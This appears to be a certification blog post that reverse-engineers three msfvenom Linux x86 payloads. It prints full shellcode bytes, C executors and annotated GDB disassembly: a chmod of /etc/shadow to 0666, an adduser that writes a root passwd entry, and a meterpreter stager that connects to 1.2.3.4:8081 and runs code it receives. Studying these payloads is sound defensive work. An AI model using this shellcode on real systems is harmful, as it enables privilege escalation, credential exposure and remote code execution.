This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202

TL;DR:


Hi! I have written recently two articles about msfvenom-generated payloads ‘linux/x86/shellcode_bind_tcp’ and ‘linux/x86/shellcode_reverse_tcp’. And not it is a time to dig deeper in shellcode reverse engineering!

I chose next payloads for my SLAE assignment:

  • linux/x86/chmod
  • linux/x86/adduser
  • linux/x86/meterpreter/reverse_tcp

First two are easy and I know (in theory) how they are working on the target machine. Last one is not so easy, because this is a stager of meterpreter payload. I know how to load executable code in memory and execute it in Windows, but I don’t know how to do this in Linux. Let’s find out.

Linux/x86/chmod

Msfvenom

root@kali:~# msfvenom -p linux/x86/chmod -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 36 bytes
Final size of python file: 184 bytes
buf =  ""
buf += "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74"
buf += "\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01"
buf += "\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80"

Executor

german@slae-lab:~/slae-shellcoding/assignment_5$ cat executor_chmod.c 
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = 
"\xcc"
"\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74"
"\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01"
"\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
 
    ret();
}

Ok, we are ready to rock!

Compile executor and run in in your GDB. I placed ‘\xcc’ instruction before the shellcode to stop execution right before our payload.

Disassembly doesn’t make things clear:

gdb-peda$ disassemble /r
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:	cc	int3   
=> 0x0804a041 <+1>:	99	cdq    
   0x0804a042 <+2>:	6a 0f	push   0xf
   0x0804a044 <+4>:	58	pop    eax
   0x0804a045 <+5>:	52	push   edx
   0x0804a046 <+6>:	e8 0c 00 00 00	call   0x804a057 <shellcode+23>
   0x0804a04b <+11>:	2f	das    
   0x0804a04c <+12>:	65	gs
   0x0804a04d <+13>:	74 63	je     0x804a0b2
   0x0804a04f <+15>:	2f	das    
   0x0804a050 <+16>:	73 68	jae    0x804a0ba
   0x0804a052 <+18>:	61	popa   
   0x0804a053 <+19>:	64 6f	outs   dx,DWORD PTR fs:[esi]
   0x0804a055 <+21>:	77 00	ja     0x804a057 <shellcode+23>
   0x0804a057 <+23>:	5b	pop    ebx
   0x0804a058 <+24>:	68 b6 01 00 00	push   0x1b6
   0x0804a05d <+29>:	59	pop    ecx
   0x0804a05e <+30>:	cd 80	int    0x80
   0x0804a060 <+32>:	6a 01	push   0x1
   0x0804a062 <+34>:	58	pop    eax
   0x0804a063 <+35>:	cd 80	int    0x80
   0x0804a065 <+37>:	00 00	add    BYTE PTR [eax],al
End of assembler dump.

If you inspect this carefully, you will find some interesting opcodes between 0x0804a04b and 0x0804a055. This part of code is never executable and we can assume that this part stores some data.

This is a true, “\x2f\x65\x74\x64\x2f\x73\x68\x61\x64\x6f\x77\x00” is a “/etc/shadow”, 0x00 string:

>>> print "\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
/etc/shadow

So, call 0x804a057 is just a jump to a pop ebx instruction. Moreover, it saves pointer to “/etc/shadow” into the Stack and ‘pop ebx’ places in into EBX register.

Now we can comment our disassembly:

gdb-peda$ disassemble 
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:	int3   

   0x0804a041 <+1>:	cdq                                     ; hack to make edx 
                                                                ; equals 0x00 when we move 0x0f to eax
   0x0804a042 <+2>:	push   0xf
   0x0804a044 <+4>:	pop    eax 				; eax = 0xf, SYS_CHMOD code
   0x0804a045 <+5>:	push   edx                              ; push 0x00
   0x0804a046 <+6>:	call   0x804a057 <shellcode+23>

   0x0804a04b <+11>:	das                                     ; start of "/etc/shadow"
   0x0804a04c <+12>:	gs
   0x0804a04d <+13>:	je     0x804a0b2
   0x0804a04f <+15>:	das    
   0x0804a050 <+16>:	jae    0x804a0ba
   0x0804a052 <+18>:	popa   
   0x0804a053 <+19>:	outs   dx,DWORD PTR fs:[esi]
   0x0804a055 <+21>:	ja     0x804a057 <shellcode+23>        ; end of "/etc/shadow" and 0x00  

   0x0804a057 <+23>:	pop    ebx                             ; ebx points to "/etc/shadow" 
   0x0804a058 <+24>:	push   0x1b6                           
   0x0804a05d <+29>:	pop    ecx                             ; ecx = 0x1b6 = hex(0666 - octal number!)
   0x0804a05e <+30>:	int    0x80                            ; SYS_CHMOD

   0x0804a060 <+32>:	push   0x1                             
   0x0804a062 <+34>:	pop    eax
   0x0804a063 <+35>:	int    0x80                            ; SYS_EXIT
   0x0804a065 <+37>:	add    BYTE PTR [eax],al
End of assembler dump.

This code pushes address of filename string into the Stack, loads data into registers and calls SYS_CHMOD and, after that, gently stops execution flow with SYS_EXIT.

Linux/x86/adduser

Msfvenom

root@kali:~# msfvenom -p linux/x86/adduser USER=namestnikov PASSWORD=hacked -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 98 bytes
Final size of python file: 482 bytes
buf =  ""
buf += "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
buf += "\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
buf += "\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
buf += "\x29\x00\x00\x00\x6e\x61\x6d\x65\x73\x74\x6e\x69\x6b"
buf += "\x6f\x76\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
buf += "\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62"
buf += "\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
buf += "\xcd\x80\x6a\x01\x58\xcd\x80"

By the way, Namestnikov is my surname :D

Executor

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = 
"\cc"
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31"
"\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68"
"\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8"
"\x29\x00\x00\x00\x6e\x61\x6d\x65\x73\x74\x6e\x69\x6b"
"\x6f\x76\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34"
"\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62"
"\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
 
    ret();
}

Compile and open executable into GDB. Here is the disassembly:

gdb-peda$ disassemble /r
Dump of assembler code for function shellcode:
   0x0804a040 <+0>:	cc	int3   
=> 0x0804a041 <+1>:	31 c9	xor    ecx,ecx
   0x0804a043 <+3>:	89 cb	mov    ebx,ecx
   0x0804a045 <+5>:	6a 46	push   0x46
   0x0804a047 <+7>:	58	pop    eax
   0x0804a048 <+8>:	cd 80	int    0x80
   0x0804a04a <+10>:	6a 05	push   0x5
   0x0804a04c <+12>:	58	pop    eax
   0x0804a04d <+13>:	31 c9	xor    ecx,ecx
   0x0804a04f <+15>:	51	push   ecx
   0x0804a050 <+16>:	68 73 73 77 64	push   0x64777373
   0x0804a055 <+21>:	68 2f 2f 70 61	push   0x61702f2f
   0x0804a05a <+26>:	68 2f 65 74 63	push   0x6374652f
   0x0804a05f <+31>:	89 e3	mov    ebx,esp
   0x0804a061 <+33>:	41	inc    ecx
   0x0804a062 <+34>:	b5 04	mov    ch,0x4
   0x0804a064 <+36>:	cd 80	int    0x80
   0x0804a066 <+38>:	93	xchg   ebx,eax
   0x0804a067 <+39>:	e8 29 00 00 00	call   0x804a095 <shellcode+85>
   0x0804a06c <+44>:	6e	outs   dx,BYTE PTR ds:[esi]
   0x0804a06d <+45>:	61	popa   
   0x0804a06e <+46>:	6d	ins    DWORD PTR es:[edi],dx
   0x0804a06f <+47>:	65	gs
   0x0804a070 <+48>:	73 74	jae    0x804a0e6
   0x0804a072 <+50>:	6e	outs   dx,BYTE PTR ds:[esi]
   0x0804a073 <+51>:	69 6b 6f 76 3a 41 7a	imul   ebp,DWORD PTR [ebx+0x6f],0x7a413a76
   0x0804a07a <+58>:	2f	das    
   0x0804a07b <+59>:	64	fs
   0x0804a07c <+60>:	49	dec    ecx
   0x0804a07d <+61>:	73 6a	jae    0x804a0e9
   0x0804a07f <+63>:	34 70	xor    al,0x70
   0x0804a081 <+65>:	34 49	xor    al,0x49
   0x0804a083 <+67>:	52	push   edx
   0x0804a084 <+68>:	63 3a	arpl   WORD PTR [edx],di
   0x0804a086 <+70>:	30 3a	xor    BYTE PTR [edx],bh
   0x0804a088 <+72>:	30 3a	xor    BYTE PTR [edx],bh
   0x0804a08a <+74>:	3a 2f	cmp    ch,BYTE PTR [edi]
   0x0804a08c <+76>:	3a 2f	cmp    ch,BYTE PTR [edi]
   0x0804a08e <+78>:	62 69 6e	bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a091 <+81>:	2f	das    
   0x0804a092 <+82>:	73 68	jae    0x804a0fc
   0x0804a094 <+84>:	0a 59 8b	or     bl,BYTE PTR [ecx-0x75]
   0x0804a097 <+87>:	51	push   ecx
   0x0804a098 <+88>:	fc	cld    
   0x0804a099 <+89>:	6a 04	push   0x4
   0x0804a09b <+91>:	58	pop    eax
   0x0804a09c <+92>:	cd 80	int    0x80
   0x0804a09e <+94>:	6a 01	push   0x1
   0x0804a0a0 <+96>:	58	pop    eax
   0x0804a0a1 <+97>:	cd 80	int    0x80
   0x0804a0a3 <+99>:	00 00	add    BYTE PTR [eax],al
End of assembler dump.

Let’s break it into the parts and inspect them one by one.

Part 1

=> 0x0804a041 <+1>:	31 c9	xor    ecx,ecx
   0x0804a043 <+3>:	89 cb	mov    ebx,ecx
   0x0804a045 <+5>:	6a 46	push   0x46
   0x0804a047 <+7>:	58	pop    eax
   0x0804a048 <+8>:	cd 80	int    0x80

This is SYS_SETREUID16 (0x46) syscall that sets real and effective UIDs to 0 (root). We need it, because only root can add new users to the system.

Part 2

   0x0804a04a <+10>:	6a 05	push   0x5
   0x0804a04c <+12>:	58	pop    eax
   0x0804a04d <+13>:	31 c9	xor    ecx,ecx
   0x0804a04f <+15>:	51	push   ecx
   0x0804a050 <+16>:	68 73 73 77 64	push   0x64777373
   0x0804a055 <+21>:	68 2f 2f 70 61	push   0x61702f2f
   0x0804a05a <+26>:	68 2f 65 74 63	push   0x6374652f
   0x0804a05f <+31>:	89 e3	mov    ebx,esp
   0x0804a061 <+33>:	41	inc    ecx
   0x0804a062 <+34>:	b5 04	mov    ch,0x4
   0x0804a064 <+36>:	cd 80	int    0x80
   0x0804a066 <+38>:	93	xchg   ebx,eax

PUSHes creates “/etc//passwd”, 0x00 string in the Stack:

>>> print "\x63\x74\x65\x2f"
cte/
>>> print "\x61\x70\x2f\x2f"
ap//
>>> print "\x64\x77\x73\x73"
dwss

EAX stores 0x05, ECX stores 0x401, EBX points to the “/etc//passwd”, 0x00 string and all of that give us SYS_OPEN syscall. 0x401 contains the flags for SYS_OPEN.

Part 3

   0x0804a06c <+44>:	6e	outs   dx,BYTE PTR ds:[esi]
   0x0804a06d <+45>:	61	popa   
   0x0804a06e <+46>:	6d	ins    DWORD PTR es:[edi],dx
   0x0804a06f <+47>:	65	gs
   0x0804a070 <+48>:	73 74	jae    0x804a0e6
   0x0804a072 <+50>:	6e	outs   dx,BYTE PTR ds:[esi]
   0x0804a073 <+51>:	69 6b 6f 76 3a 41 7a	imul   ebp,DWORD PTR [ebx+0x6f],0x7a413a76
   0x0804a07a <+58>:	2f	das    
   0x0804a07b <+59>:	64	fs
   0x0804a07c <+60>:	49	dec    ecx
   0x0804a07d <+61>:	73 6a	jae    0x804a0e9
   0x0804a07f <+63>:	34 70	xor    al,0x70
   0x0804a081 <+65>:	34 49	xor    al,0x49
   0x0804a083 <+67>:	52	push   edx
   0x0804a084 <+68>:	63 3a	arpl   WORD PTR [edx],di
   0x0804a086 <+70>:	30 3a	xor    BYTE PTR [edx],bh
   0x0804a088 <+72>:	30 3a	xor    BYTE PTR [edx],bh
   0x0804a08a <+74>:	3a 2f	cmp    ch,BYTE PTR [edi]
   0x0804a08c <+76>:	3a 2f	cmp    ch,BYTE PTR [edi]
   0x0804a08e <+78>:	62 69 6e	bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a091 <+81>:	2f	das    
   0x0804a092 <+82>:	73 68	jae    0x804a0fc
   0x0804a094 <+84>:	0a

This is a data! Opcodes is just a codes of chars in this string:

>>> print "\x6e\x61\x6d\x65\x73\x74\x6e\x69\x6b\x6f\x76\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
namestnikov:Az/dIsj4p4IRcIRc:0:0::/:/bin/sh

This is a record for “/etc/passwd” file that contains user name, password hash and default shell.

Part 4

Well, there I met a big problem in GDB disassembly - 0x0a char from previous part that actually is just a part of data was interpreted by GDB as opcode part. So, our initial disassembly was wrong. I will make a proper disassembly in the end of analysis.

=> 0x804a095 <shellcode+85>:	pop    ecx
   0x804a096 <shellcode+86>:	mov    edx,DWORD PTR [ecx-0x4]
   0x804a099 <shellcode+89>:	push   0x4
   0x804a09b <shellcode+91>:	pop    eax
   0x804a09c <shellcode+92>:	int    0x80

This is a SYS_WRITE call that writes “namestnikov:Az/dIsj4p4IRcIRc:0:0::/:/bin/sh” string into the “/etc/passwd”.

Part 5

   0x0804a09e <+94>:	push   0x1
   0x0804a0a0 <+96>:	pop    eax
   0x0804a0a1 <+97>:	int    0x80
   0x0804a0a3 <+99>:	add    BYTE PTR [eax],al

It is just a SYS_EXIT call that stops execution flow.

Let’s build a properly commented disassembly now:

   ; PART 1
=> 0x0804a041 <+1>:     xor    ecx,ecx
   0x0804a043 <+3>:     mov    ebx,ecx
   0x0804a045 <+5>:     push   0x46
   0x0804a047 <+7>:     pop    eax
   0x0804a048 <+8>:     int    0x80            ; SYS_SETREUID16 for root (uid = 0, guid = 0)

   ; PART 2
   0x0804a04a <+10>:    push   0x5
   0x0804a04c <+12>:    pop    eax
   0x0804a04d <+13>:    xor    ecx,ecx
   0x0804a04f <+15>:    push   ecx             ; place "/etc//passwd", 0x00 to the Stack
   0x0804a050 <+16>:    push   0x64777373     
   0x0804a055 <+21>:    push   0x61702f2f
   0x0804a05a <+26>:    push   0x6374652f
   0x0804a05f <+31>:    mov    ebx,esp         ; ebx points to the "/etc//passwd", 0x00
   0x0804a061 <+33>:    inc    ecx
   0x0804a062 <+34>:    mov    ch,0x4          ; ecx stores flags = 0x401
   0x0804a064 <+36>:    int    0x80            ; SYS_OPEN 
   0x0804a066 <+38>:    xchg   ebx,eax

   ; PART 3
   0x0804a06c <+44>:    6e      outs   dx,BYTE PTR ds:[esi]      ; Only string bytes:
   0x0804a06d <+45>:    61      popa                             ; "namestnikov:Az/dIsj4p4IRcIRc:0:0::/:/bin/sh", 0x0a
   0x0804a06e <+46>:    6d      ins    DWORD PTR es:[edi],dx
   0x0804a06f <+47>:    65      gs
   0x0804a070 <+48>:    73 74   jae    0x804a0e6
   0x0804a072 <+50>:    6e      outs   dx,BYTE PTR ds:[esi]
   0x0804a073 <+51>:    69 6b 6f 76 3a 41 7a    imul   ebp,DWORD PTR [ebx+0x6f],0x7a413a76
   0x0804a07a <+58>:    2f      das
   0x0804a07b <+59>:    64      fs
   0x0804a07c <+60>:    49      dec    ecx
   0x0804a07d <+61>:    73 6a   jae    0x804a0e9
   0x0804a07f <+63>:    34 70   xor    al,0x70
   0x0804a081 <+65>:    34 49   xor    al,0x49
   0x0804a083 <+67>:    52      push   edx
   0x0804a084 <+68>:    63 3a   arpl   WORD PTR [edx],di
   0x0804a086 <+70>:    30 3a   xor    BYTE PTR [edx],bh
   0x0804a088 <+72>:    30 3a   xor    BYTE PTR [edx],bh
   0x0804a08a <+74>:    3a 2f   cmp    ch,BYTE PTR [edi]
   0x0804a08c <+76>:    3a 2f   cmp    ch,BYTE PTR [edi]
   0x0804a08e <+78>:    62 69 6e        bound  ebp,QWORD PTR [ecx+0x6e]
   0x0804a091 <+81>:    2f      das
   0x0804a092 <+82>:    73 68   jae    0x804a0fc
   0x0804a094 <+84>:    0a

   ; PART 4
   0x804a095 <+85>:    pop    ecx                         
   0x804a096 <+86>:    mov    edx,DWORD PTR [ecx-0x4]  ; points to the /etc/passwd record
   0x804a099 <+89>:    push   0x4
   0x804a09b <+91>:    pop    eax
   0x804a09c <+92>:    int    0x80                     ; SYS_WRITE writes record to the "/etc/passwd"

   ; PART 5
   0x0804a09e <+94>:    push   0x1
   0x0804a0a0 <+96>:    pop    eax
   0x0804a0a1 <+97>:    int    0x80                    ; SYS_EXIT
   0x0804a0a3 <+99>:    add    BYTE PTR [eax],al

Linux/x86/meterpreter/reverse_tcp

Msfvenom

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8081 -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of python file: 602 bytes
buf =  ""
buf += "\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0"
buf += "\x66\x89\xe1\xcd\x80\x97\x5b\x68\x01\x02\x03\x04\x68"
buf += "\x02\x00\x1f\x91\x89\xe1\x6a\x66\x58\x50\x51\x57\x89"
buf += "\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2"
buf += "\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd"
buf += "\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00"
buf += "\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80"
buf += "\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd"
buf += "\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb"
buf += "\x01\x00\x00\x00\xcd\x80"

Executor

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = 
"\xcc"
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0"
"\x66\x89\xe1\xcd\x80\x97\x5b\x68\x01\x02\x03\x04\x68"
"\x02\x00\x1f\x91\x89\xe1\x6a\x66\x58\x50\x51\x57\x89"
"\xe1\x43\xcd\x80\x85\xc0\x79\x19\x4e\x74\x3d\x68\xa2"
"\x00\x00\x00\x58\x6a\x00\x6a\x05\x89\xe3\x31\xc9\xcd"
"\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9\x00\x10\x00"
"\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80"
"\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd"
"\x80\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb"
"\x01\x00\x00\x00\xcd\x80";

int main()
{
    printf("Shellcode Length: %d\n", strlen(shellcode));
    int (*ret)() = (int(*)())shellcode;
 
    ret();
}

Ok, now we are ready to do cool things. Compile it, and disassemble the executable in GDB:

=> 0x0804a041 <+1>:	push   0xa
   0x0804a043 <+3>:	pop    esi
   0x0804a044 <+4>:	xor    ebx,ebx
   0x0804a046 <+6>:	mul    ebx
   0x0804a048 <+8>:	push   ebx
   0x0804a049 <+9>:	inc    ebx
   0x0804a04a <+10>:	push   ebx
   0x0804a04b <+11>:	push   0x2
   0x0804a04d <+13>:	mov    al,0x66
   0x0804a04f <+15>:	mov    ecx,esp
   0x0804a051 <+17>:	int    0x80
   0x0804a053 <+19>:	xchg   edi,eax
   0x0804a054 <+20>:	pop    ebx
   0x0804a055 <+21>:	push   0x4030201
   0x0804a05a <+26>:	push   0x911f0002
   0x0804a05f <+31>:	mov    ecx,esp
   0x0804a061 <+33>:	push   0x66
   0x0804a063 <+35>:	pop    eax
   0x0804a064 <+36>:	push   eax
   0x0804a065 <+37>:	push   ecx
   0x0804a066 <+38>:	push   edi
   0x0804a067 <+39>:	mov    ecx,esp
   0x0804a069 <+41>:	inc    ebx
   0x0804a06a <+42>:	int    0x80
   0x0804a06c <+44>:	test   eax,eax
   0x0804a06e <+46>:	jns    0x804a089 <shellcode+73>
   0x0804a070 <+48>:	dec    esi
   0x0804a071 <+49>:	je     0x804a0b0 <shellcode+112>
   0x0804a073 <+51>:	push   0xa2
   0x0804a078 <+56>:	pop    eax
   0x0804a079 <+57>:	push   0x0
   0x0804a07b <+59>:	push   0x5
   0x0804a07d <+61>:	mov    ebx,esp
   0x0804a07f <+63>:	xor    ecx,ecx
   0x0804a081 <+65>:	int    0x80
   0x0804a083 <+67>:	test   eax,eax
   0x0804a085 <+69>:	jns    0x804a044 <shellcode+4>
   0x0804a087 <+71>:	jmp    0x804a0b0 <shellcode+112>
   0x0804a089 <+73>:	mov    dl,0x7
   0x0804a08b <+75>:	mov    ecx,0x1000
   0x0804a090 <+80>:	mov    ebx,esp
   0x0804a092 <+82>:	shr    ebx,0xc
   0x0804a095 <+85>:	shl    ebx,0xc
   0x0804a098 <+88>:	mov    al,0x7d
   0x0804a09a <+90>:	int    0x80
   0x0804a09c <+92>:	test   eax,eax
   0x0804a09e <+94>:	js     0x804a0b0 <shellcode+112>
   0x0804a0a0 <+96>:	pop    ebx
   0x0804a0a1 <+97>:	mov    ecx,esp
   0x0804a0a3 <+99>:	cdq    
   0x0804a0a4 <+100>:	mov    dh,0xc
   0x0804a0a6 <+102>:	mov    al,0x3
   0x0804a0a8 <+104>:	int    0x80
   0x0804a0aa <+106>:	test   eax,eax
   0x0804a0ac <+108>:	js     0x804a0b0 <shellcode+112>
   0x0804a0ae <+110>:	jmp    ecx
   0x0804a0b0 <+112>:	mov    eax,0x1
   0x0804a0b5 <+117>:	mov    ebx,0x1
   0x0804a0ba <+122>:	int    0x80
   0x0804a0bc <+124>:	add    BYTE PTR [eax],al

I believe that this thing may be hard to reverse, so, let’s break it into the parts again.

Part 1

=> 0x0804a041 <+1>:     push   0xa
   0x0804a043 <+3>:     pop    esi
   0x0804a044 <+4>:     xor    ebx,ebx
   0x0804a046 <+6>:     mul    ebx
   0x0804a048 <+8>:     push   ebx
   0x0804a049 <+9>:     inc    ebx
   0x0804a04a <+10>:    push   ebx
   0x0804a04b <+11>:    push   0x2
   0x0804a04d <+13>:    mov    al,0x66
   0x0804a04f <+15>:    mov    ecx,esp
   0x0804a051 <+17>:    int    0x80

First part is a SYS_SOCKETCALL (0x66) that runs SYS_SOCKET (0x01). I mentioned SYS_SOCKETCALL syscall in previous articles, so I won’t pay attention to this again.

Part 2

   0x0804a053 <+19>:	xchg   edi,eax
   0x0804a054 <+20>:	pop    ebx
   0x0804a055 <+21>:	push   0x4030201
   0x0804a05a <+26>:	push   0x911f0002
   0x0804a05f <+31>:	mov    ecx,esp
   0x0804a061 <+33>:	push   0x66
   0x0804a063 <+35>:	pop    eax
   0x0804a064 <+36>:	push   eax
   0x0804a065 <+37>:	push   ecx
   0x0804a066 <+38>:	push   edi
   0x0804a067 <+39>:	mov    ecx,esp
   0x0804a069 <+41>:	inc    ebx
   0x0804a06a <+42>:	int    0x80

This part pushes sockaddr_in structure into the Stack - 0x40302010 is an IP (1.2.3.4) and 911f stands for Port (8081). Both values are in big-endian.

int 0x80 in this case calls SYS_SOCKETCALL with SYS_CONNECT (EBX equals 0x03).

This part of code establishes TCP-connection with remote host like it would be a reverse_tcp shell.

Part 3

   0x0804a06c <+44>:	test   eax,eax
   0x0804a06e <+46>:	jns    0x804a089 <shellcode+73>
   0x0804a070 <+48>:	dec    esi
   0x0804a071 <+49>:	je     0x804a0b0 <shellcode+112>
   0x0804a073 <+51>:	push   0xa2
   0x0804a078 <+56>:	pop    eax
   0x0804a079 <+57>:	push   0x0
   0x0804a07b <+59>:	push   0x5
   0x0804a07d <+61>:	mov    ebx,esp
   0x0804a07f <+63>:	xor    ecx,ecx
   0x0804a081 <+65>:	int    0x80
   0x0804a083 <+67>:	test   eax,eax
   0x0804a085 <+69>:	jns    0x804a044 <shellcode+4>
   0x0804a087 <+71>:	jmp    0x804a0b0 <shellcode+112>

If previously called SYS_SOCKET returned -1 (something bad happened), test instruction will set up Sign Flag (SF) into 1 and execution flow will be redirected by JNS instruction to 0x804a089 address.

After that, we decrement ESI value (starts from 0x0a), checks ZF and jumps to 0x804a0b0 if ZF is 1. This is a small spoiler, but there are some instructions and SYS_EXIT placed at 0x804a0b0.

Then, SYS_NANOSLEEP is executed, program sleeps for 5 seconds and the shellcode tries to establish connection again. If there is no connection after 10 attempts (ESI = 0x0a), it makes jump to exit section.

Part 4

   0x0804a089 <+73>:	mov    dl,0x7
   0x0804a08b <+75>:	mov    ecx,0x1000
   0x0804a090 <+80>:	mov    ebx,esp
   0x0804a092 <+82>:	shr    ebx,0xc
   0x0804a095 <+85>:	shl    ebx,0xc
   0x0804a098 <+88>:	mov    al,0x7d
   0x0804a09a <+90>:	int    0x80
   0x0804a09c <+92>:	test   eax,eax
   0x0804a09e <+94>:	js     0x804a0b0 <shellcode+112>

If connection was established, the shellcode calls SYS_MPROTECT. Here is the man page:

NAME

   mprotect - set protection on a region of memory

SYNOPSIS

   #include <sys/mman.h>

   int mprotect(const void *addr, size_t len, int prot);

In our case, addr points to the top of the stack (mov ebx, esp), length is 4096 bytes (mov ecx, 0x1000) and prot is 0x07 (mov dl, 0x7) that means that this memory is executable, readable and writable.

If something goes wrong, SYS_MPROTECT returns negative value and we jump to the SYS_EXIT and associated code.

Part 5

   0x0804a0a0 <+96>:	pop    ebx
   0x0804a0a1 <+97>:	mov    ecx,esp
   0x0804a0a3 <+99>:	cdq    
   0x0804a0a4 <+100>:	mov    dh,0xc
   0x0804a0a6 <+102>:	mov    al,0x3
   0x0804a0a8 <+104>:	int    0x80
   0x0804a0aa <+106>:	test   eax,eax
   0x0804a0ac <+108>:	js     0x804a0b0 <shellcode+112>
   0x0804a0ae <+110>:	jmp    ecx

Well, EAX equals 0x03, so int 0x80 invokes SYS_READ syscall. The pop ebx instruction places socket file descriptor into EBX and all other instructions read bytes from socket and writes it to the stack. Again, if something goes wrong, the exit jump is performed.

Very, very careful payload. I like it!

The last part is about SYS_EXIT and don’t have any interesting moments.

Now we finished our dissection and can build commented disassembly:

   ; Part 1
   0x0804a041 <+1>:	push   0xa
   0x0804a043 <+3>:	pop    esi          ; Number of connection attempts
   0x0804a044 <+4>:	xor    ebx,ebx
   0x0804a046 <+6>:	mul    ebx
   0x0804a048 <+8>:	push   ebx
   0x0804a049 <+9>:	inc    ebx
   0x0804a04a <+10>:	push   ebx
   0x0804a04b <+11>:	push   0x2          ; SYS_SOCKET arguments
   0x0804a04d <+13>:	mov    al,0x66      
   0x0804a04f <+15>:	mov    ecx,esp
   0x0804a051 <+17>:	int    0x80         ; SYS_SOCKETCALL (EAX = 0x66) 
                                            ; with SYS_SOCKET (EBX = 0x01)

   ; Part 2
   0x0804a053 <+19>:	xchg   edi,eax      ; EDI stores socket descriptor
   0x0804a054 <+20>:	pop    ebx
   0x0804a055 <+21>:	push   0x4030201    ; IP in big-endian
   0x0804a05a <+26>:	push   0x911f0002   ; Port (0x911f) in big-endian
   0x0804a05f <+31>:	mov    ecx,esp
   0x0804a061 <+33>:	push   0x66
   0x0804a063 <+35>:	pop    eax
   0x0804a064 <+36>:	push   eax
   0x0804a065 <+37>:	push   ecx
   0x0804a066 <+38>:	push   edi
   0x0804a067 <+39>:	mov    ecx,esp
   0x0804a069 <+41>:	inc    ebx
   0x0804a06a <+42>:	int    0x80         ; SYS_CONNECT

   ; Part 3
   0x0804a06c <+44>:	test   eax,eax
   0x0804a06e <+46>:	jns    0x804a089 <shellcode+73>    ; on success SYS_CONNECT
   0x0804a070 <+48>:	dec    esi
   0x0804a071 <+49>:	je     0x804a0b0 <shellcode+112>   ; on all 10 attempts connection failed
   0x0804a073 <+51>:	push   0xa2
   0x0804a078 <+56>:	pop    eax
   0x0804a079 <+57>:	push   0x0
   0x0804a07b <+59>:	push   0x5
   0x0804a07d <+61>:	mov    ebx,esp
   0x0804a07f <+63>:	xor    ecx,ecx
   0x0804a081 <+65>:	int    0x80                        ; SYS_NANOSLEEP for 5 seconds
   0x0804a083 <+67>:	test   eax,eax
   0x0804a085 <+69>:	jns    0x804a044 <shellcode+4>     ; retry socket init & connection
   0x0804a087 <+71>:	jmp    0x804a0b0 <shellcode+112>
   
   ; Part 4
   0x0804a089 <+73>:	mov    dl,0x7                      ; read | write | execute
   0x0804a08b <+75>:	mov    ecx,0x1000                  ; 4096 bytes
   0x0804a090 <+80>:	mov    ebx,esp
   0x0804a092 <+82>:	shr    ebx,0xc
   0x0804a095 <+85>:	shl    ebx,0xc
   0x0804a098 <+88>:	mov    al,0x7d 
   0x0804a09a <+90>:	int    0x80                        ; SYS_MPROTECT
